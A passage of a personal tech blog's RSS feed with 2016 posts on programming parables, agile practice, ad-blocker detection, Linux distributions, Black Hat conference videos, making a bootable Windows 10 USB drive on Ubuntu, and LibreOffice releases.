website with URL &ldquo;<a href="http://misspiggy.gsfc.nasa.gov/tao.html%22">http://misspiggy.gsfc.nasa.gov/tao.html&quot;</a> (not responding
anymore). Below you find my three favorite IT wisdoms from the document.</p>
<h3 id="1-development-team-wisdom">1. Development team wisdom</h3>
<blockquote>
<p>A manager went to the Master Programmer and showed him the requirements
document for a new application. The manager asked the Master: &ldquo;How long will
it take to design this system if I assign five programmers to it?&rdquo;</p>
<p>&ldquo;It will take one year,&rdquo; said the Master promptly.</p>
<p>&ldquo;But we need this system immediately or even sooner! How long will it take if
I assign ten programmers to it?&rdquo;</p>
<p>The Master Programmer frowned. &ldquo;In that case, it will take two years.&rdquo;</p>
<p>&ldquo;And what if I assign a hundred programmers to it?&rdquo;</p>
<p>The Master Programmer shrugged. &ldquo;Then the design will never be completed,&rdquo; he
said.</p></blockquote>
<h3 id="2-it-trade-show-wisdom">2. IT trade show wisdom</h3>
<blockquote>
<p>There once was a man who went to a computer trade show. Each day as he
entered, the man told the guard at the door:</p>
<p>&ldquo;I am a great thief, renowned for my feats of shoplifting. Be forewarned, for
this trade show shall not escape unplundered.&rdquo;</p>
<p>This speech disturbed the guard greatly, because there were millions of
dollars of computer equipment inside, so he watched the man carefully. But the
man merely wandered from booth to booth, humming quietly to himself.</p>
<p>When the man left, the guard took him aside and searched his clothes, but
nothing was to be found.</p>
<p>On the next day of the trade show, the man returned and chided the guard,
saying: &ldquo;I escaped with a vast booty yesterday, but today will be even
better.&rdquo; So the guard watched him ever more closely, but to no avail.</p>
<p>On the final day of the trade show, the guard could restrain his curiosity no
longer. &ldquo;Sir Thief,&rdquo; he said, &ldquo;I am so perplexed, I cannot live in peace.
Please enlighten me. What is it that you are stealing?&rdquo;</p>
<p>The man smiled. &ldquo;I am stealing ideas,&rdquo; he said.</p></blockquote>
<h3 id="3-video-game-wisdom">3. Video game wisdom</h3>
<blockquote>
<p>A Master Programmer passed a novice programmer one day.</p>
<p>The Master noted the novice&rsquo;s preoccupation with a hand-held computer game.</p>
<p>&ldquo;Excuse me,&rdquo; he said, &ldquo;may I examine it?&rdquo;</p>
<p>The novice bolted to attention and handed the device to the Master. &ldquo;I see
that the device claims to have three levels of play: Easy, Medium, and Hard,&rdquo;
said the Master. &ldquo;Yet every such device has another level of play, where the
device seeks not to conquer the human, nor to be conquered by the human.&rdquo;</p>
<p>&ldquo;Pray, Great Master,&rdquo; implored the novice, &ldquo;how does one find this mysterious
setting?&rdquo;</p>
<p>The Master dropped the device to the ground and crushed it with his heel.
Suddenly the novice was enlightened.</p></blockquote>
<h3 id="epilogue">Epilogue</h3>
<p>If you liked this, then you may want to check out the other wisdoms in the
<a href="http://www.mit.edu/~xela/tao.html">&ldquo;The Tao of Programming&rdquo;</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Developer Anarchy or Extreme Agile</title>
      <link>https://www.tqdev.com/2016-developer-anarchy-or-extreme-agile/</link>
      <pubDate>Mon, 22 Aug 2016 15:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-developer-anarchy-or-extreme-agile/</guid>
      <description>&lt;p&gt;Agile development is all about reducing &amp;ldquo;waste&amp;rdquo; (bureaucracy) and optimizing the
percentage of development effort in the process. This makes sense, even for
larger organizations to improve the effectiveness of their software development.
Startups on the other hand need even less process as value creation is really
all that matters. For these organizations Extreme Agile (or &amp;lsquo;Developer Anarchy&amp;rsquo;
as Fred George calls it) may be a good fit.&lt;/p&gt;
&lt;h3 id=&#34;bureaucracy-is-a-good-thing&#34;&gt;Bureaucracy is a good thing&lt;/h3&gt;
&lt;p&gt;Larger organizations want to have process that ensures consistent quality and
reduces risk of failure. Certifications like ISO 9001 and 27001 require that you
have written down your process and that you follow this closely. They may not be
helped with an Agile process that steers towards a flatter, more efficient
organization where roles are combined to ensure minimal procedural overhead
(hand-overs).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Agile development is all about reducing &ldquo;waste&rdquo; (bureaucracy) and optimizing the
percentage of development effort in the process. This makes sense, even for
larger organizations to improve the effectiveness of their software development.
Startups on the other hand need even less process as value creation is really
all that matters. For these organizations Extreme Agile (or &lsquo;Developer Anarchy&rsquo;
as Fred George calls it) may be a good fit.</p>
<h3 id="bureaucracy-is-a-good-thing">Bureaucracy is a good thing</h3>
<p>Larger organizations want to have process that ensures consistent quality and
reduces risk of failure. Certifications like ISO 9001 and 27001 require that you
have written down your process and that you follow this closely. They may not be
helped with an Agile process that steers towards a flatter, more efficient
organization where roles are combined to ensure minimal procedural overhead
(hand-overs).</p>
<p>The higher the stakes, the more resistance you find against introducing Agile.
This is understandable as you are breaking down the procedural safe guards that
the organization has embraced to ensure quality. The choice for Agile to reduce
development costs is on the other hand easily made when the current expensive
quality assurance process is failing to deliver the promised quality or has led
to an unacceptable time-to-market.</p>
<h3 id="have-your-cake-and-eat-it">Have your cake and eat it</h3>
<p>Can you have an equally good and described QA process while doing Agile? No, not
unless you are doing test and delivery automation. Continuous Integration (CI)
and Continuous Delivery (CD) are a requirement to achieve the best of both
worlds. By writing functional tests for your functionality and automating
regression tests and deployment you can have a well-described process that
ensures high quality, without the red tape, simply because everybody writes
code.</p>
<p>Automation allows for a shortened time-to-fix when problems occur. This should
be taken into account as the problem impact can be calculated as the frequency
(how often it occurs) times the damage (how much it costs when it is broken)
times the time-to-fix (how long it is broken). This reduced time-to-fix is the
factor that can allow you to win the QA comparison when switching to Agile (but
only when you do CI/CD).</p>
<h3 id="programmer-anarchy-or-extreme-agile">Programmer Anarchy or Extreme Agile</h3>
<p>Fred George is an inspiring speaker about all things Agile. Here are some of his
best videos from the GOTO conferences:</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=tIxHmsWCd7g">2014: Implementing Programmer Anarchy</a>
[39:01]</li>
<li><a href="https://www.youtube.com/watch?v=4EuQTQED9X8">2014: Interview with Fred George on Programmer Anarchy</a>
[14:07]</li>
<li><a href="https://www.youtube.com/watch?v=l1Efy4RB_kw">2015: The Secret Assumption of Agile</a>
[47:25]</li>
<li><a href="https://www.youtube.com/watch?v=yPf5MfOZPY0">2015: Challenges in Implementing MicroServices</a>
[50:12]</li>
<li><a href="https://www.youtube.com/watch?v=vs_XiP5Lkgg">2016: The Entity Microservice Trap You May Be Doing It Wrong</a>
[29:50]</li>
</ul>
<p>I could repeat his points, but why don&rsquo;t you just click the links above and hear
the master speak? Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Ad block detection</title>
      <link>https://www.tqdev.com/2016-ad-block-detection/</link>
      <pubDate>Fri, 19 Aug 2016 13:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-ad-block-detection/</guid>
      <description>&lt;p&gt;More and more people use ad blockers and more and more sites try detect them.
Sites say that their visitors are stealing their content, by not &amp;ldquo;paying&amp;rdquo; by
viewing ads, while visitors claim that sites do not comply with the law and
blocking third party contents is the only way to protect their privacy when
using the Internet.&lt;/p&gt;
&lt;h3 id=&#34;nothing-against-ads&#34;&gt;Nothing against ads&lt;/h3&gt;
&lt;p&gt;I have nothing against ads, but the practices of the &amp;ldquo;ad tech&amp;rdquo; industry are
appalling. The &amp;ldquo;ad tech&amp;rdquo; industry mainly consists of ad &amp;ldquo;brokers&amp;rdquo;. The most
well-known player in that market is &amp;ldquo;Google ads&amp;rdquo;. Some of these brokers (if not
all) allow their clients to run scripts on the sites the site owners request ads
for.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>More and more people use ad blockers and more and more sites try detect them.
Sites say that their visitors are stealing their content, by not &ldquo;paying&rdquo; by
viewing ads, while visitors claim that sites do not comply with the law and
blocking third party contents is the only way to protect their privacy when
using the Internet.</p>
<h3 id="nothing-against-ads">Nothing against ads</h3>
<p>I have nothing against ads, but the practices of the &ldquo;ad tech&rdquo; industry are
appalling. The &ldquo;ad tech&rdquo; industry mainly consists of ad &ldquo;brokers&rdquo;. The most
well-known player in that market is &ldquo;Google ads&rdquo;. Some of these brokers (if not
all) allow their clients to run scripts on the sites the site owners request ads
for.</p>
<p>That&rsquo;s not really what we agreed right? The &ldquo;paid ads&rdquo; deal to the uninitiated
sounds more like &ldquo;I will get money for you showing ads&rdquo; and not &ldquo;I will get
money so that you can extensively track/profile the unsuspecting visitors of my
site using arbitrary code&rdquo;. This arbitrary code can either be flash or
JavaScript and it can find out great deal about you.</p>
<h3 id="how-we-should-fix-the-web">How we should fix the web</h3>
<p>I&rsquo;m not the type of guy that would complain about something without presenting a
solution, so here it goes. I feel a new type of ad broker should arise, that
would simply do what we expect from ad brokers: serve images (not scripts/flash)
from their domain to your visitors on behalf of their clients and report the
traffic to both parties. What is so hard about that? It should use pattern
analysis and reputation databases to detect fraud instead of fighting a
JavaScript obfuscation war. NB: I would call the company &ldquo;White Ads&rdquo; (which is a
reference to &ldquo;White Hats&rdquo;: hackers with good intentions).</p>
<h3 id="warn-users-that-do-not-use-ad-blockers">Warn users that do NOT use ad blockers</h3>
<p>Below you find an easy ad blocker detection script, so that you can warn your
users that they put their privacy at risk by not enabling an ad blocker.</p>
<p><strong>Are ads blocked?</strong></p>
<script>var adsAreBlocked=true</script>
<script src="/js/ads.js"></script>
<script>document.write(adsAreBlocked?'<p style="color:green">Yes</p>':'<p style="color:red">No</p>')</script>
<p><noscript><p style="color:green">Yes</p></noscript></p>
<p>You should see the answer to the question in either red (No) or green (Yes). The
code for this detection is:</p>
<pre tabindex="0"><code>&lt;script&gt;var adsAreBlocked=true&lt;/script&gt;
&lt;script src=&#34;https://www.tqdev.com/js/ads.js&#34;&gt;&lt;/script&gt;
&lt;script&gt;document.write(adsAreBlocked?&#39;&lt;p style=&#34;color:green&#34;&gt;Yes&lt;/p&gt;&#39;:&#39;&lt;p style=&#34;color:red&#34;&gt;No&lt;/p&gt;&#39;)&lt;/script&gt;
&lt;noscript&gt;&lt;p style=&#34;color:green&#34;&gt;Yes&lt;/p&gt;&lt;/noscript&gt;
</code></pre><p>The URL &ldquo;<code>/js/ads.js</code>&rdquo; points to a javascript file on the server containing the
following content:</p>
<pre tabindex="0"><code>adsAreBlocked=false;
</code></pre><p>With the above JavaScript you can help your visitors become more aware of their
privacy.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Using torrents to give back</title>
      <link>https://www.tqdev.com/2016-using-torrents-to-give-back/</link>
      <pubDate>Tue, 16 Aug 2016 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-using-torrents-to-give-back/</guid>
      <description>&lt;p&gt;The use of torrents is controversial, unless you download Linux (disk/install)
images. I have recently been trying many Linux distributions (distros) related
to the 16.04 release of Ubuntu. For downloading them I have used torrents and
I&amp;rsquo;m proud that my ratio is above 1. This means that I have uploaded more than I
downloaded. Below is a list of some of the best Linux distributions that I tried
out and my first impression of them. This is my top 10:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The use of torrents is controversial, unless you download Linux (disk/install)
images. I have recently been trying many Linux distributions (distros) related
to the 16.04 release of Ubuntu. For downloading them I have used torrents and
I&rsquo;m proud that my ratio is above 1. This means that I have uploaded more than I
downloaded. Below is a list of some of the best Linux distributions that I tried
out and my first impression of them. This is my top 10:</p>
<h3 id="1-linux-mint-18-cinnamon">1. Linux Mint 18 Cinnamon</h3>
<p>I like everything about this distro. It&rsquo;s speed, looks, tools, default software
set, hardware compatibility are all very good.</p>
<p>Download link:
<a href="https://linuxmint.com/download.php">https://linuxmint.com/download.php</a></p>
<h3 id="2-ubuntu-gnome">2. Ubuntu GNOME</h3>
<p>It may be a little heavier, but that is the only down-side that this distro has.
I learned to love the new GNOME, for me it is much better than Unity.</p>
<p>Download link:
<a href="https://wiki.ubuntu.com/UbuntuGNOME/GetUbuntuGNOME/LTS">https://wiki.ubuntu.com/UbuntuGNOME/GetUbuntuGNOME/LTS</a></p>
<h3 id="3-xubuntu-1604">3. Xubuntu 16.04</h3>
<p>Even faster than Cinnamon, but sometimes a little less user friendly. I am using
this distribution ever since Ubuntu launched Unity.</p>
<p>Download link: <a href="http://xubuntu.org/getxubuntu/">http://xubuntu.org/getxubuntu/</a></p>
<h3 id="4-ubuntu-mate-1604">4. Ubuntu MATE 16.04</h3>
<p>Very fast and very tweakable. I had some compatibility issues with the display
driver. Recommended for long-time Linux fans!</p>
<p>Download link:
<a href="https://ubuntu-mate.org/download/">https://ubuntu-mate.org/download/</a></p>
<h3 id="5-linux-mint-18-mate">5. Linux Mint 18 MATE</h3>
<p>Really a mix between number 1 and 4. I prefer Ubuntu MATE, which feels even more
tweakable and is also an official Ubuntu variant.</p>
<p>Download link:
<a href="https://linuxmint.com/download.php">https://linuxmint.com/download.php</a></p>
<h3 id="6-lubuntu-1604">6. Lubuntu 16.04</h3>
<p>Super fast, thus great for an older PC, but the looks are very average, it lacks
search in the menu and the default software set is limited.</p>
<p>Download link:
<a href="https://help.ubuntu.com/community/Lubuntu/GetLubuntu">https://help.ubuntu.com/community/Lubuntu/GetLubuntu</a></p>
<h3 id="7-ubuntu-desktop-1604">7. Ubuntu Desktop 16.04</h3>
<p>This is the commercially supported version (by Canonical). It works great, but I
feel Canonical cannot be trusted after the
<a href="https://www.fsf.org/blogs/rms/ubuntu-spyware-what-to-do">spyware incident</a>.</p>
<p>Download link:
<a href="http://www.ubuntu.com/download/desktop">http://www.ubuntu.com/download/desktop</a></p>
<h3 id="8-elementary-os-freya-032">8. Elementary OS Freya 0.3.2</h3>
<p>Very good looks! Sometimes you may run into compatibility issues when installing
other Linux packages. Also the UI really takes some getting used to. Hint: you
can download for free by &ldquo;paying&rdquo; 0 dollar on the page below.</p>
<p>Download link: <a href="https://elementary.io">https://elementary.io</a></p>
<h3 id="9-manjaro-linux">9. Manjaro Linux</h3>
<p>I did not spend enough time to fully appreciate this distribution. I noticed it
is fast and has great looks. The fact that it is not Ubuntu based, but Arch
Linux makes it harder to use for me. If Arch is your thing, you should check
this one out! NB: No version specified, as it has a rolling release model!</p>
<p>Download link:
<a href="http://manjaro.github.io/download/">http://manjaro.github.io/download/</a></p>
<h3 id="10-kali-linux-20161">10. Kali Linux 2016.1</h3>
<p>If you are into computer security you may want to try out this follow-up of the
&ldquo;BackTrack&rdquo; Linux distribution. It has some nice WiFi drivers ;-)</p>
<p>Download link:
<a href="https://www.kali.org/downloads/">https://www.kali.org/downloads/</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Blackhat 2016: videos online</title>
      <link>https://www.tqdev.com/2016-blackhat-2016-videos/</link>
      <pubDate>Sat, 13 Aug 2016 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-blackhat-2016-videos/</guid>
      <description>&lt;p&gt;Computerworld released
&lt;a href=&#34;http://www.computerworld.com/video/series/8464/black-hat-2016&#34;&gt;13 videos&lt;/a&gt;
(interviews) of the Black Hat USA 2016 conference. The first one (featuring Dan
Kaminsky) was so good that I posted the entire list of videos below:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5079429432001&#34;&gt;Developers need secure coding environments&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5075740690001&#34;&gt;How to pick a lock&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5072605106001&#34;&gt;Risk management: Picking the right tool for the job&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5072493092001&#34;&gt;Black Hat 2016 wrap-up: Same stuff, different year?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5071316166001&#34;&gt;Why some risk assessments fail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5071293050001&#34;&gt;Social engineering tricks and why CEO fraud emails work&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5071274563001&#34;&gt;How to wade through the flood of security buzzwords and hype&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5071263458001&#34;&gt;The changing economics of cybercrime&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5071149154001&#34;&gt;Threat actors: Who you should really worry about&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5070749429001&#34;&gt;The advanced security techniques of criminal hackers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5070747518001&#34;&gt;How much do developers really care about security?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5069987630001&#34;&gt;Could this hacker&amp;rsquo;s tool slow down phishing?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5069831024001&#34;&gt;Why compliance is a necessary evil&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;blackhat-usa-2016-conference-in-las-vegas&#34;&gt;Blackhat USA 2016 conference in Las Vegas&lt;/h3&gt;
&lt;p&gt;Black Hat is a yearly conference &amp;ldquo;built by and for the global InfoSec community&amp;rdquo;
as they say on their &lt;a href=&#34;https://blackhat.com/us-16/&#34;&gt;website&lt;/a&gt;. The conference was
held in Las Vegas on August 3 and 4. It was the 19th Blackhat USA conference.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Computerworld released
<a href="http://www.computerworld.com/video/series/8464/black-hat-2016">13 videos</a>
(interviews) of the Black Hat USA 2016 conference. The first one (featuring Dan
Kaminsky) was so good that I posted the entire list of videos below:</p>
<ol>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5079429432001">Developers need secure coding environments</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5075740690001">How to pick a lock</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5072605106001">Risk management: Picking the right tool for the job</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5072493092001">Black Hat 2016 wrap-up: Same stuff, different year?</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5071316166001">Why some risk assessments fail</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5071293050001">Social engineering tricks and why CEO fraud emails work</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5071274563001">How to wade through the flood of security buzzwords and hype</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5071263458001">The changing economics of cybercrime</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5071149154001">Threat actors: Who you should really worry about</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5070749429001">The advanced security techniques of criminal hackers</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5070747518001">How much do developers really care about security?</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5069987630001">Could this hacker&rsquo;s tool slow down phishing?</a></li>
<li><a href="//players.brightcove.net/1351824782/9578e740-f58e-4f79-82f6-c856dca7bbbe_default/index.html?videoId=5069831024001">Why compliance is a necessary evil</a></li>
</ol>
<h3 id="blackhat-usa-2016-conference-in-las-vegas">Blackhat USA 2016 conference in Las Vegas</h3>
<p>Black Hat is a yearly conference &ldquo;built by and for the global InfoSec community&rdquo;
as they say on their <a href="https://blackhat.com/us-16/">website</a>. The conference was
held in Las Vegas on August 3 and 4. It was the 19th Blackhat USA conference.</p>
<p>I went to a Blackhat conference once and after seeing these videos I feel like
wanting to go there again, because of it&rsquo;s interesting topics and interesting
people. Well done Computerworld!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Creating a bootable Windows 10 USB on Ubuntu</title>
      <link>https://www.tqdev.com/2016-creating-bootable-windows-10-usb-ubuntu/</link>
      <pubDate>Wed, 10 Aug 2016 10:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-creating-bootable-windows-10-usb-ubuntu/</guid>
      <description>&lt;p&gt;Whenever I have to help somebody with Windows 10 I find myself making a bootable
Windows 10 USB drive. If you are on Windows this is provided via a menu option,
but on Ubuntu Linux this requires some commands. This post will explain in
detail how to do this.&lt;/p&gt;
&lt;h3 id=&#34;gpt-partition-table-with-fat32-partition&#34;&gt;GPT partition table with FAT32 partition&lt;/h3&gt;
&lt;p&gt;Modern systems support UEFI booting and this differs from traditional BIOS in
that it does not read the boot sector. Instead it will look in the &lt;code&gt;/efi/&lt;/code&gt;
directory in a FAT32 partition of a drive with GPT partitioning. There are no
partition flags (like &amp;lsquo;boot&amp;rsquo;) necessary either.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Whenever I have to help somebody with Windows 10 I find myself making a bootable
Windows 10 USB drive. If you are on Windows this is provided via a menu option,
but on Ubuntu Linux this requires some commands. This post will explain in
detail how to do this.</p>
<h3 id="gpt-partition-table-with-fat32-partition">GPT partition table with FAT32 partition</h3>
<p>Modern systems support UEFI booting and this differs from traditional BIOS in
that it does not read the boot sector. Instead it will look in the <code>/efi/</code>
directory in a FAT32 partition of a drive with GPT partitioning. There are no
partition flags (like &lsquo;boot&rsquo;) necessary either.</p>
<h3 id="getting-the-official-windows-10-iso-image">Getting the official Windows 10 ISO image</h3>
<p>You can download the official Windows 10 ISO image from Microsoft by visiting:</p>
<p><a href="https://www.microsoft.com/en-us/software-download/windows10ISO">https://www.microsoft.com/en-us/software-download/windows10ISO</a></p>
<p>But you must be on Linux (or pretend to be using user agent switcher) to
download the file.</p>
<h3 id="writing-to-the-usb-drive">Writing to the USB drive</h3>
<p>Your USB drive has a drive letter in Linux typically something like &lsquo;b&rsquo;, which
leads to a path to the device of <code>/dev/sdb</code> and a partition path for the first
partition of <code>/dev/sdb1</code>. To avoid you screwing up your computer I use &lsquo;h&rsquo;,
which you should replace in the commands below. You can use the &lsquo;<code>gparted</code>&rsquo;
graphical tool to find the drive letter of your USB drive.</p>
<p>If your USB drive is behaving weird, then you can reset it by issuing the
following command:</p>
<pre tabindex="0"><code>sudo dd if=/dev/zero of=/dev/sdh bs=512 count=1
</code></pre><p>Normally this is not nessecary. Then to create a new layout on the drive:</p>
<pre tabindex="0"><code>sudo fdisk /dev/sdh
</code></pre><p>This is what you should enter in fdisk:</p>
<ul>
<li>Press &lsquo;<code>g</code>&rsquo; to create a new GPT,</li>
<li>Press &lsquo;<code>n</code>&rsquo; to create a new partition and accept the defaults,</li>
<li>Press &lsquo;<code>t</code>&rsquo; to choose the partition type,</li>
<li>Enter &lsquo;<code>11</code>&rsquo; for the &lsquo;Microsoft basic data&rsquo; type.</li>
<li>Press &lsquo;<code>w</code>&rsquo; to write the changes to disk.</li>
</ul>
<p>The following command will format the first partition with FAT32.</p>
<pre tabindex="0"><code>sudo mkdosfs -F32 /dev/sdh1
</code></pre><p>Now we need to mount the downloaded ISO file:</p>
<pre tabindex="0"><code>sudo mount Downloads/Win10_1607_Dutch_x64.iso /mnt
</code></pre><p>And copy all contents to the USB drive (this takes up to 15 minutes and shows no
progress):</p>
<pre tabindex="0"><code>sudo cp -R /mnt/* /media/maurits/39F5-8B34/
</code></pre><p>Now unmount the ISO&hellip;</p>
<pre tabindex="0"><code>sudo umount /mnt
</code></pre><p>and the USB drive before removing it:</p>
<pre tabindex="0"><code>sudo umount /media/maurits/39F5-8B34/
</code></pre><p>To ensure the drive is OK, print the contents using &lsquo;<code>fdisk</code>&rsquo;:</p>
<pre><code>maurits@nuc:~$ sudo fdisk /dev/sdh

Welcome to fdisk (util-linux 2.27.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p
Disk /dev/sdh: 7.2 GiB, 7735541760 bytes, 15108480 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 1F574274-2552-4728-831F-90D768723297

Device     Start      End  Sectors  Size Type
/dev/sdh1   2048 15108095 15106048  7.2G Microsoft basic data

Command (m for help): q

maurits@nuc:~$
</code></pre>
<p>Note that the drive should say &lsquo;<code>Disklabel type: gpt</code>&rsquo; and
&lsquo;<code>Microsoft basic data</code>&rsquo;.</p>
]]></content:encoded>
    </item>
    <item>
      <title>LibreOffice 5.2 released</title>
      <link>https://www.tqdev.com/2016-libreoffice-5-2-released/</link>
      <pubDate>Sun, 07 Aug 2016 11:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-libreoffice-5-2-released/</guid>
      <description>&lt;p&gt;On August 3rd, 2016 the Document Foundation released LibreOffice 5.2, &amp;ldquo;a
feature-rich major release of the best free office suite ever created&amp;rdquo; as they
say
&lt;a href=&#34;https://blog.documentfoundation.org/blog/2016/08/03/libreoffice-5-2-fresh-released-for-windows-mac-os-and-gnulinux/&#34;&gt;on their website&lt;/a&gt;.
I think they are very humble, because it is not only the best &lt;em&gt;free&lt;/em&gt; office
suite ever created. No commercial office suite (not even Microsoft Office) comes
close to the UI consistency and speed of this office suite.&lt;/p&gt;
&lt;h3 id=&#34;3-notable-new-features-in-libroffice-52&#34;&gt;3 notable new features in LibrOffice 5.2:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Google Drive&amp;rsquo;s Two-Factor Authentication (2FA) now supported.&lt;/li&gt;
&lt;li&gt;Pressing Shift + Return in the multi-line input will now insert a new line in
Calc.&lt;/li&gt;
&lt;li&gt;Calc now has a set of forecasting functions that use triple and double
exponential smoothing and handle seasonal effects.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;See: &lt;a href=&#34;https://wiki.documentfoundation.org/ReleaseNotes/5.2&#34;&gt;release notes&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>On August 3rd, 2016 the Document Foundation released LibreOffice 5.2, &ldquo;a
feature-rich major release of the best free office suite ever created&rdquo; as they
say
<a href="https://blog.documentfoundation.org/blog/2016/08/03/libreoffice-5-2-fresh-released-for-windows-mac-os-and-gnulinux/">on their website</a>.
I think they are very humble, because it is not only the best <em>free</em> office
suite ever created. No commercial office suite (not even Microsoft Office) comes
close to the UI consistency and speed of this office suite.</p>
<h3 id="3-notable-new-features-in-libroffice-52">3 notable new features in LibrOffice 5.2:</h3>
<ul>
<li>Google Drive&rsquo;s Two-Factor Authentication (2FA) now supported.</li>
<li>Pressing Shift + Return in the multi-line input will now insert a new line in
Calc.</li>
<li>Calc now has a set of forecasting functions that use triple and double
exponential smoothing and handle seasonal effects.</li>
</ul>
<p>See: <a href="https://wiki.documentfoundation.org/ReleaseNotes/5.2">release notes</a></p>
<h3 id="3-notable-new-features-in-libroffice-51">3 notable new features in LibrOffice 5.1:</h3>
<ul>
<li>Open remote files for opening file on remote resources such as Google Drive,
OneDrive, SharePoint, etc.</li>
<li>Apple Keynote 6 files can now be imported in Impress.</li>
<li>PNG export in LibreOffice Calc was added.</li>
</ul>
<p>See: <a href="https://wiki.documentfoundation.org/ReleaseNotes/5.1">release notes</a></p>
<h3 id="3-notable-new-features-in-libroffice-50">3 notable new features in LibrOffice 5.0:</h3>
<ul>
<li>Emoji and in-word replacement support in Writer.</li>
<li>Styles &amp; Formatting deck of the Sidebar now displays a preview of the
available styles in Writer.</li>
<li>Both highlighting and shading are preserved during import / export of
Microsoft Word documents in Writer.</li>
</ul>
<p>See: <a href="https://wiki.documentfoundation.org/ReleaseNotes/5.0">release notes</a></p>
<h3 id="microsoft-keeps-alienating-users">Microsoft keeps alienating users</h3>
<p>Microsoft keeps alienating it&rsquo;s users, by revamping the user interface every
version. It introduced &ldquo;ribbons&rdquo; and weird upper left &ldquo;Microsoft Office Button&rdquo;
(<a href="https://support.office.com/en-us/article/What-and-where-is-the-Microsoft-Office-Button-2F375B5F-22C5-4041-9F90-0AA1FA51F5C3?ui=en-US&amp;rs=en-US&amp;ad=US">source</a>).
It introduces OneDrive and (almost) forces you to use it while you probably
rather use Google Drive or DropBox. Microsoft also constantly changes their file
formats, forcing people to upgrade or accept reduced functionality. I sometimes
